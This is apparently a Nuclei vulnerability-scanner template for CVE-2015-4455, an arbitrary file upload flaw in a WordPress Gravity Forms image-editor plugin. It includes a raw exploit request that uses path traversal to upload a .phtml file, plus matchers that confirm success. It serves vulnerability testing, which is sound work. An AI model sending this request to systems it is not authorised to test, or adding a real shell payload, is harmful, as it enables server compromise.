id: CVE-2015-4455 info: name: WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload author: MaStErChO severity: critical description: | Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary. reference: - https://nvd.nist.gov/vuln/detail/CVE-2015-4455 - http://packetstormsecurity.com/files/132256/WordPress-Aviary-Image-Editor-Add-On-For-Gravity-Forms-3.0-Beta-Shell-Upload.html - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2015-4455 cwe-id: CWE-434 epss-score: 0.55856 epss-percentile: 0.97673 cpe: cpe:2.3:a:aviary_image_editor_add-on_for_gravity_forms_project:aviary_image_editor_add-on_for_gravity_forms:*:beta:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: "aviary_image_editor_add-on_for_gravity_forms_project" product: "aviary_image_editor_add-on_for_gravity_forms" framework: wordpress tags: cve,cve2015,packetstorm,intrusive,file-upload,wordpress,aviary_image_editor_add-on_for_gravity_forms_project variables: filename: '{{rand_base(7, "abc")}}' http: - raw: - | GET /?gf_page=upload HTTP/1.1 Host: {{Hostname}} - | POST /?gf_page=upload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa --a54906fe12c504cb01ca836d062f82fa Content-Disposition: form-data; name="field_id" 3 --a54906fe12c504cb01ca836d062f82fa Content-Disposition: form-data; name="form_id" 1 --a54906fe12c504cb01ca836d062f82fa Content-Disposition: form-data; name="gform_unique_id" ../../../ --a54906fe12c504cb01ca836d062f82fa Content-Disposition: form-data; name="name" {{filename}}.phtml --a54906fe12c504cb01ca836d062f82fa Content-Disposition: form-data; name="file"; filename="{{filename}}.jpg" Content-Type: text/html {{randstr}} --a54906fe12c504cb01ca836d062f82fa-- matchers: - type: dsl dsl: - 'contains(body_1, "Failed to upload file")' - 'status_code_2 == 200' - 'contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")' condition: and # digest: 490a00463044022067d4626f991b5320d154fca6def6dc21753ef35f5a0543c467bc488dbacf5566022054458f7ad78bf887b24f12116181f91e185b42ead7bc422d614c165d4df94783:922c64590222798bb761d5b6d8e72950